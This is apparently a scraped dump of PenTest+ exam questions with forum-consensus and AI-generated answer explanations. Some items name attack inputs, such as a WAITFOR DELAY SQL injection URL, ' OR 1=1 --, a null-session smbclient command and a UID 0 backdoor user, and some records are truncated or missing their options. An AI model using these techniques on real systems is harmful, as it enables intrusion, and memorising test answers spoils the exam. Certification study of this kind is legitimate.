", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is A. Cloud Custodian.
\nReasoning: Cloud Custodian is a rules engine designed specifically for managing public cloud accounts and resources. It allows users to define and enforce policies for security, compliance, and cost optimization. It automates the management of resources by continuously evaluating the cloud environment against a set of defined rules.
\nReasons for not choosing the other answers:\n
\nSuggested Answer: A\n
"}, {"folder_name": "topic_1_question_220", "topic": "1", "question_num": "220", "question": "A penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "-а8 -T0", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. --script \"httpvuln\", which the reason is that this option uses the Nmap Scripting Engine (NSE) to run scripts specifically targeting HTTP vulnerabilities, allowing for a focused and stealthy vulnerability scan.
\n Other options are not correct:\n
\nThe AI agrees with the suggested answer B.
\nThe most suitable Nmap option for a penetration tester aiming to perform a vulnerability scan on a client's website, while avoiding detection, is B. --script \"http*vuln*\". This option utilizes the Nmap Scripting Engine (NSE) to execute scripts specifically designed to identify HTTP-related vulnerabilities. By focusing on HTTP vulnerabilities, the scan becomes more targeted and less likely to trigger intrusion detection systems (IDS) or other security measures.
\n
\nThe reasoning for choosing this answer is based on the following:\n
--script option allows the tester to specify which scripts to run. By using the pattern \"http*vuln*\", the tester targets scripts related to HTTP vulnerabilities, making the scan specific and efficient.-a8 is not a valid Nmap option. -T0 is the slowest timing template, which can help avoid detection by reducing the scan speed, but it does not specify the type of scan. Combining an invalid option with a slow timing template does not directly address the requirement of probing for vulnerabilities.-O option enables OS detection, and -A enables aggressive scan options (including OS detection, version detection, script scanning, and traceroute). These options perform broad discovery, which can be noisy and easily detected. This goes against the requirement of avoiding detection.\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Credential harvesting", "html": "From the internet discussion, including from Q3 2023 to Q1 2025, the consensus answer to this question is Credential harvesting. The reason is that the scenario describes a penetration tester creating a fake login page to trick employees into entering their credentials, which directly aligns with the definition of credential harvesting. This involves tricking users into revealing their login credentials, often through tactics like phishing. Other options, such as password spraying, are not correct because the scenario does not involve attempts using multiple passwords on a single account, or brute-force attacks, malware, or keylogging. Instead, it is a phishing attack designed to obtain credentials.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer: A. Credential harvesting.
\nReasoning: The scenario clearly describes a phishing attack where a fake login page is set up to trick employees into submitting their email credentials. This is the very definition of credential harvesting, where the attacker's goal is to obtain usernames and passwords.
\nWhy other options are incorrect:\n
\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Mask", "html": "Agree with Suggested Answer From the internet discussion from Q2 2021 to Q2 2024, the conclusion of the answer to this question is D. Password spraying, which the reason is that password spraying is the most likely attack type to avoid account lockouts. The penetration tester can use password spraying to try a set of common passwords against each username. Unlike traditional brute-force or dictionary attacks, which try many passwords on a single user, password spraying tries only a few passwords across many accounts to avoid triggering account lockout mechanisms. Dictionary attacks are less likely to be used in this case.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer D (Password spraying).
\nReasoning: The question emphasizes avoiding account lockout. Password spraying is designed to do just that. It involves trying a few common passwords against many accounts. This contrasts with brute-force or dictionary attacks which focus on a single account with many password attempts, thus increasing the risk of triggering account lockout policies.
\n A penetration tester gathering email addresses and creating a username list is a typical precursor to password spraying. They are setting the stage to try a small set of passwords across those usernames.
\nReasons for not choosing the other answers:\n
\nIn summary, the focus on avoiding account lockout makes password spraying the most appropriate choice.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host discovery and write the discovery to files without returning results of the attack machine?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap -sn -n -exclude 10.1.1.15 10.1.1.0/24 -oA target_txt", "html": "Agree with Suggested Answer. From the internet discussion including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is A. nmap -sn -n -exclude 10.1.1.15 10.1.1.0/24 -oA target_txt, which the reason is the command effectively performs a host discovery (ping sweep) by using the -sn option, which tells Nmap to only determine if the hosts are online, -n option to disable DNS resolution, -exclude option to exclude the attacker's machine and saves the results in a text file. Other options are incorrect because some don't accomplish the desired host discovery, don't exclude the attacking machine, or use unnecessary options. In option B, the emphasis is on \"write the discovery to files without returning results of the attack machine\", which is not the best approach.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer A.
\nReasoning:
\nOption A, nmap -sn -n -exclude 10.1.1.15 10.1.1.0/24 -oA target_txt, is the most suitable command for host discovery on the same LAN segment during an internal penetration test without including the attacking machine in the results. Here's a breakdown:\n
-sn: This option performs a ping scan, which is used for host discovery. It checks which hosts are up without performing port scans.-n: Disables DNS resolution, which speeds up the scan and avoids unnecessary DNS lookups.-exclude 10.1.1.15: Excludes the attacker's machine (assuming its IP is 10.1.1.15) from the scan results, as required by the question.10.1.1.0/24: Specifies the target network for the scan.-oA target_txt: Saves the scan results in all major formats (XML, grepable, and normal) with the base name \"target_txt\". This ensures that the results are written to files as required.nmap -iR 10 -n -oX out.xml | grep \"Nmap\" | cut -d \"\" -f5 > live-hosts.txt): This option uses random target selection (-iR 10), which is not appropriate for scanning a specific network segment. It also involves post-processing with grep and cut, which is less efficient and reliable than using Nmap's built-in output options. Furthermore, it does not exclude the attacking machine.nmap -Pn -sV -O -iL target.txt -oA target_text_Service): This option performs service and OS detection (-sV and -O), which are not necessary for basic host discovery. Also, -iL target.txt reads targets from a file, which is not aligned with the question's requirement of specifying a network range. It does not exclude the attacking machine.nmap -sS -Pn -n -iL target.txt -oA target_txt1): This option performs a TCP SYN scan (-sS), which might be more intrusive than a simple ping scan (-sn). It also uses a target list file (-iL target.txt) instead of a network range and doesn't exclude the attacking machine.\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools should a penetration tester use to crawl a website and build a wordlist using the data recovered to crack the password on the website?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "DirBuster", "html": "\nAgree with Suggested Answer. From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B. CeWL, which the reason is that CeWL (Custom Word List Generator) is designed to crawl websites and extract content to generate custom wordlists, which are effective for password cracking, especially when the wordlist is relevant to the target website’s content. Other tools are not the best choice. For example, DirBuster is for brute-forcing directories and files; w3af is a web application security scanner; and Patator is a multi-purpose brute-forcing tool; none of these is specifically designed for crawling websites to create custom wordlists.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, B (CeWL).
\nReasoning: CeWL (Custom Word List Generator) is explicitly designed to crawl websites and generate custom wordlists. These wordlists are created using the text and information found on the target website, making them highly relevant for password cracking attempts against that specific site. The question specifically asks for a tool that can crawl a website and build a wordlist from the recovered data for the purpose of password cracking.
\nThe key functionality of CeWL aligns perfectly with this requirement.\n
\nReasons for not choosing the other options:\n
\nTherefore, CeWL is the most appropriate tool for this scenario.\n
\n\nCitation:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:
http://company.com/catalog.asp?productid=22
The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:
http://company.com/catalog.asp?productid=22;WAITFOR DELAY'00:00:05'
Which of the following should the penetration tester attempt NEXT?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B, which the reason is the comment suggests that the penetration tester should use \"OR 1=1\" to check if the application is vulnerable to SQL injection, which is a simpler and more straightforward SQL injection payload.\n
\nC is also a valid SQL injection payload. However, it needs a deeper understanding of the database structure and may take more time to craft a successful attack.\n
\nThe suggested answer is B, and the AI agrees with this suggestion.
\nThe reasoning behind this choice is that the initial test (WAITFOR DELAY) confirmed the possibility of SQL injection. The next logical step is to confirm this vulnerability with a basic SQL injection payload like ' OR 1=1 -- . This attempts to bypass the authentication or logic by making the SQL query always true, which can give the tester access without proper credentials or reveal sensitive information. It's a simple yet effective way to validate the SQL injection point before attempting more complex payloads.
\nHere is why the other options are less ideal:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "A vulnerability scan", "html": "From the internet discussion, the consensus is that the answer is A. A vulnerability scan. The reason is that a vulnerability scan is the most likely action a penetration tester would take to identify findings related to improper patch management. The vulnerability scanner identifies weaknesses in systems and applications. Unpatched vulnerabilities are a major consequence of improper patch management. By scanning the target network, the tool will likely identify outdated software or missing security patches on 100 hosts.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer A, A vulnerability scan.
\nReasoning:
\nA penetration test aiming to uncover improper patch management issues would very likely include a vulnerability scan. A vulnerability scan is designed to identify weaknesses in systems, and one of the primary findings related to poor patch management is the presence of unpatched vulnerabilities. The scenario explicitly mentions \"findings due to improper patch management,\" which strongly suggests that a vulnerability scan was conducted to reveal these issues. The output indicating 100 hosts with findings supports this, as vulnerability scanners can efficiently identify missing patches across a network.\n
\nWhy other options are less likely:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter running the enum4linux.pl command, a penetration tester received the following output:![](\"topic_1_question_227/image_0.png\"/)
Which of the following commands should the penetration tester run NEXT?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion from Q2 2021 to Q1 2025, the consensus answer is D. The primary reason for this agreement is that the command smbclient //192.168.100.56/web -U '' -N allows the attacker to connect to the \"web\" share using null credentials (empty username and no password) because the server allows login with blank username and \"password\", which can then open an interactive SMB client session. Option C, using the smbget command, is also discussed, but D is more appropriate as the question seeks a way to connect and browse the file share.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of D. smbclient //192.168.100.56/web -U '' -N.
\nReasoning:
\nThe output from `enum4linux.pl` indicates that the target system (192.168.100.56) allows null session access to the `web` share. This means that a user can connect to the share without providing a username or password. The `smbclient` command with the `-U '' -N` options attempts to connect to the specified share (//192.168.100.56/web) using a null username and no password. This is the most direct way to exploit the identified vulnerability and attempt to access the web share.
\nWhy other options are not the best choices:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Badge cloning", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D - Spear Phishing, which the reason is the tester gathered corporate email addresses and could send phishing emails to see who would respond.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, D (Spear phishing).
\nReasoning: The penetration tester has already gathered corporate email addresses through OSINT. The next logical step is to leverage this information to perform a spear-phishing attack. Spear phishing involves crafting targeted emails to specific individuals (in this case, the IT systems administrators) to trick them into revealing sensitive information, clicking malicious links, or opening infected attachments. Since the tester has corporate email addresses, they can send phishing emails to see who responds or falls victim to the attack, thus testing the organization's security awareness and defenses.
\nReasons for not choosing other options:\n
\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following compliance requirements would be BEST suited in an environment that processes credit card data?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "PCI DSS", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A, which the reason is the Payment Card Industry Data Security Standards (PCI-DSS) is mandatory for every organization processing credit-card data. This opinion received the most agreement from the internet.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A (PCI DSS).
\nReasoning:\nThe question explicitly asks for the compliance requirement best suited for an environment processing credit card data. PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards designed to protect cardholder data and ensure the secure handling of credit card information. It is a mandatory requirement for any organization that stores, processes, or transmits credit card data.\n
\nReasons for not choosing the other options:\n
\nSuggested Answer: A\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester successfully infiltrated the targeted web server and created credentials with administrative privileges. After conducting data exfiltration, which of the following should be the tester’s NEXT step?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Determine what data is available on the web server.", "html": "\n Based on the internet discussion from Q2 2021 to Q1 2025, the consensus answer to this question is B, as indicated by the CompTIA PenTest+ Study Guide which emphasizes the importance of cleanup and concealment during post-exploitation activities. The reasoning is that after data exfiltration, a penetration tester should take steps to hide their actions by cleaning up log files or deleting them to avoid detection. Other opinions suggest that C, which is logging out and migrating to a new session, is the better option, especially for penetration testers since they should not delete or modify the logs.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI recommends answer C.
\nReasoning: The most appropriate next step after data exfiltration is to log out and migrate to a new session. This is because:
\n
\n Citations:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester analyzed a web-application log file and discovered an input that was sent to the company's web application. The input contains a string that says \"WAITFOR.\" Which of the following attacks is being attempted?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "SQL injection", "html": "From the internet discussion, the conclusion of the answer to this question is SQL injection (A), which the reason is WAITFOR command can be used in SQL injection attacks, particularly time-delay or blind SQL injection, to infer information about the database by observing the response time. Other opinions suggested remote command injection, but the majority of the comments confirmed SQL injection is the correct answer.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion, the AI recommends that the suggested answer A (SQL injection) is the correct answer.
\nReasoning: The presence of \"WAITFOR\" in the web application log is a strong indicator of a potential SQL injection attempt. The WAITFOR command is specific to SQL Server and is often used in time-based or blind SQL injection attacks to delay the execution of a query. This delay allows the attacker to infer information about the database structure and content by observing the response time.
\nWhy other options are less likely:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following code:![](\"topic_1_question_232/image_0.png\"/)
Which of the following data structures is systems?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. A dictionary, which the reason is the example in the question uses curly braces {} and the key-value pairs separated by colons, which is the syntax for dictionaries in Python. The other options like tuple, array, and tree are not correct because the question code does not apply any of those structures.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer.
\nThe correct answer is D. A dictionary.
\nReasoning: The provided code snippet clearly demonstrates the structure of a dictionary in Python. Dictionaries are characterized by:
\n
{} enclosing the entire structure.:.'protocol', 'port', 'version', and 'cipher' are keys, and their respective values are assigned using the colon. This is the fundamental syntax of a dictionary in Python.(). The code uses curly braces, not parentheses.[]. The code uses curly braces, not square brackets.\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Network segmentation", "html": "\n Agree with the suggested answer. From the internet discussion, which includes comments from Q2 2021 to Q1 2025, the conclusion of the answer to this question is D. Patch management, which the reason is that EternalBlue exploits a vulnerability in the Microsoft Windows SMB protocol, and installing the security patch is the most direct way to mitigate the risk. Other options such as network segmentation, key rotation, and encrypted passwords do not directly address the EternalBlue vulnerability.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is D. Patch management.
\nReasoning: EternalBlue is a vulnerability that was exploited in the Microsoft Windows SMB protocol. The most effective and direct way to protect against this vulnerability is to apply the appropriate security patch released by Microsoft through a patch management process.
\nReasons for not choosing other options:\n
\nSuggested Answer: D. Patch management\n
"}, {"folder_name": "topic_1_question_234", "topic": "1", "question_num": "234", "question": "The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Statement of work", "html": "From the internet discussion, the conclusion of the answer to this question is D. Rules of engagement, which the reason is that rules of engagement (ROE) are guidelines and restrictions that outline the scope, goals, and limitations of the penetration test, defining the parameters for the nature and types of exercises that can be conducted. Other options like a statement of work, program scope, and a non-disclosure agreement are not the best fit because they address other aspects of the project, such as services performed, project boundaries, and confidentiality, respectively.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer. The best answer is D. Rules of engagement.
\nReasoning: The question explicitly mentions \"defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted.\" Rules of engagement (ROE) precisely define these parameters for a penetration test. ROE are the documented guidelines and constraints agreed upon by the organization and the penetration testing team. They outline what systems can be tested, what testing techniques are permitted, the timeframe for testing, and what actions are prohibited.\n
\nReasons for not choosing the other options:\n
Citation:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Use Patator to pass the hash and Responder for persistence.", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Use Mimikatz to pass the hash and PsExec for persistence, which the reason is Mimikatz is a tool for extracting password hashes, which can be used for \"pass the hash\", and PsExec allows for remote command execution to establish persistence. Other options combine tools and techniques that don't align with the task or are not typically used for the purposes of passing the hash and creating persistence.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n Based on my knowledge and the discussion, I agree with the suggested answer D.
\n Here's a detailed explanation:\n
\nReasoning:\n
\n\nWhy the other options are less suitable:\n
\nTherefore, option D is the most logical next step for a penetration tester who has extracted password hashes and wants to use them for pass-the-hash and persistence.
\nSuggested Answer: D. Use Mimikatz to pass the hash and PsExec for persistence.
\n\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tThe provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "NDA", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A. The NDA is a legal contract that outlines the terms and conditions of the confidentiality agreement between the two parties, which the reason is the NDA specifies what information is considered confidential, how it can be used or shared, and the responsibilities of both parties to prevent unauthorized disclosure.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is A (NDA).
\nReasoning: An NDA (Non-Disclosure Agreement) is a legally binding contract that establishes a confidential relationship. The NDA specifies the confidential information, usage restrictions, and the responsibilities of the parties involved to prevent unauthorized disclosure. This aligns directly with the question's focus on defining responsibility for preventing unauthorized disclosure between a penetration tester and the client. In the context of penetration testing, an NDA ensures that sensitive information discovered during the test is protected.
\nReasons for not choosing the other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester created the following script to use in an engagement:![](\"topic_1_question_237/image_0.png\"/)
However, the tester is receiving the following error when trying to run the script:![](\"topic_1_question_237/image_1.png\"/)
Which of the following is the reason for the error?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. The sys module was not imported, which the reason is the error \"NameError: name 'sys' is not defined\" indicates that the script attempts to use the sys module, but it hasn't been imported. The corrected script requires importing the sys module to resolve this error.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is C. The sys module was not imported.
\nReasoning:
\nThe error message \"NameError: name 'sys' is not defined\" clearly indicates that the Python script is trying to use the `sys` module without importing it first. The `sys` module provides access to system-specific parameters and functions, including command-line arguments accessed via `sys.argv`.
\nTo fix this, the script needs to include the line `import sys` at the beginning.
\nWhy other options are incorrect:\n
\nSuggested Answer: C\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "/var/log/messages", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is that the /var/log/lastlog file stores information about the last login sessions of users on the system, including the username, IP address, and timestamp. This file is accessible to a penetration tester with root access, making it useful for identifying the last user to log in and potentially trace malicious activities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer.
\n The recommended answer is D. /var/log/lastlog.
\nReasoning:\n
lastlog command is used to view the contents of this file.\n \nTherefore, /var/log/lastlog is the most suitable option.\n
\n\nThe penetration tester can use the `lastlog` command to view the content.\n
\n\nIt is important to note that: The /var/log/lastlog file records the last login time of each user, it shows when the user last logged in. A penetration tester with root privileges on the compromised server can access this file and check the login activities.\n
\n\nImportant Considerations:\n
\nConclusion: /var/log/lastlog is the most direct and reliable source for identifying the last login time of users on a Linux system.\n
\n\nSuggested Answer: Agree\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "WHOIS domain lookup", "html": "From the internet discussion, the conclusion of the answer to this question is A, which the reason is that a WHOIS domain lookup is a passive method to obtain information about the domain registration, including the technical contacts and registrant information. This method is useful for gathering information for a phishing campaign, and it does not alert the target.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of A (WHOIS domain lookup).\n
\nReasoning: A WHOIS domain lookup is indeed a passive method to gather information about a domain, including technical contacts. Passive reconnaissance aims to gather information without directly interacting with the target system, thus reducing the risk of detection. WHOIS lookups are publicly accessible and provide details about domain registration, such as registrant name, contact information (phone, email), and administrative/technical contacts. This information is valuable for crafting targeted phishing emails.\n
\nWhy other options are incorrect:\n
\nTherefore, WHOIS lookup is the BEST option as it is specifically designed to provide registration details, including contact information, in a passive manner.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Wireshark", "html": "From the internet discussion, the consensus of the answer to this question is D. Aircrack-ng, which the reason is Aircrack-ng is a specialized tool designed for capturing and analyzing wireless handshakes, crucial for cracking Wi-Fi passwords. It is explicitly mentioned as the best tool for this purpose. Aircrack-ng includes the ability to capture wireless network packets and attempts to crack the network password by analyzing them and supports various attack types.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, D. Aircrack-ng.
\n
\nReasoning:
\nAircrack-ng is a complete suite of tools specifically designed for assessing Wi-Fi network security. Its capabilities include capturing wireless traffic (including handshakes), analyzing captured data, and attempting to crack WEP/WPA/WPA2 keys. This makes it the best tool for capturing wireless handshakes to reveal a Wi-Fi password.
\n
\nWhy other options are less suitable:\n
\nTherefore, Aircrack-ng is the most appropriate choice for the task described in the question.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Wireshark", "html": "Based on internet discussions from Q1 2023 to Q4 2024, the consensus answer to this question is B - Gattacker. The comments generally agree that Gattacker is specifically designed for security testing and exploiting vulnerabilities in BLE devices, including man-in-the-middle attacks. Some comments highlighted that Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework designed for on-path attacks, enabling tasks such as man-in-the-middle attacks and fuzzing BLE services. Other comments mentioned that the tool can be used for identifying and exploiting vulnerabilities in smart devices. Some comments also confirmed the answer is correct, and one comment clarified the correct answer by pointing out Gattacker's main functions.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is B. Gattacker.
\nReason: Gattacker is specifically designed for security testing and exploiting vulnerabilities in BLE devices, making it the most suitable tool for performing on-path attacks on BLE smart devices.
\n Here's a breakdown of why the other options are less suitable:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Cross-site scripting", "html": "The discussion consensus leans toward DF as the correct answer. From the discussions spanning from approximately Q1 2023 to Q3 2024, the most agreed-upon conclusion is that after exploiting an LFI vulnerability and accessing web logs, the next logical steps involve Log poisoning and Command injection. The reasoning is that with access to the logs, the penetration tester can inject malicious code or commands into the log files, which could be executed via the LFI vulnerability. This allows for further exploitation, potentially leading to command execution or server compromise. Other options such as server-side request forgery (SSRF) and cross-site scripting (XSS) were also mentioned, but DF was most widely accepted.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of DF.
\n
\nReasoning:\nAfter successfully exploiting an LFI (Local File Inclusion) vulnerability and gaining access to web server logs, a penetration tester's next logical steps would likely involve:\n
\nTherefore, the most probable next steps are log poisoning and command injection, making DF the correct answer.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user’s work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Add a web shell to the root of the website.", "html": "\nAgree with Suggested Answer From the internet discussion, including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is C. Add a new user with ID 0 to the /etc/passwd file, which the reason is the most agreed-upon method to maintain root-level access without disrupting the existing user's work. This approach involves adding a new user with a User ID (UID) of 0 to the /etc/passwd file, which grants root privileges. Other opinions such as B, were considered. Adding a new user with UID 0 is a stealthy and persistent way to maintain root access without altering existing user credentials or disrupting the legitimate user’s activities.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of C: Add a new user with ID 0 to the /etc/passwd file.
\n
\nReasoning:
\nAdding a new user with a UID of 0 is the best method for maintaining root-level persistence while minimizing disruption. This approach creates a separate, hidden backdoor account with root privileges, without altering the existing root user's password or behavior. This aligns with the requirement of not disrupting the other user's work.
\n
\nWhy other options are not the best:\n
\nTherefore, the most suitable answer is C.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "To provide protection against host OS vulnerabilities", "html": "Agree with Suggested Answer: From the internet discussion including from Q2 2021 to Q1 2025, the conclusion of the answer to this question is B. To reduce the probability of a VM escape attack, which the reason is that keeping hypervisors patched is crucial for security, as vulnerabilities could lead to a VM escape attack, where an attacker gains access to the host system from a virtual machine. Patching mitigates this risk by closing known vulnerabilities that could be exploited for such attacks.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer B.
\nReasoning:\nThe primary security concern with hypervisors is the risk of VM escape attacks. These attacks allow a malicious actor to break out of a virtualized environment and gain access to the underlying host operating system or other virtual machines. Keeping hypervisors up-to-date with the latest security patches is critical to mitigating this risk because patches often address vulnerabilities that could be exploited for VM escape attacks.\n
\nReasons for not choosing other answers:\n
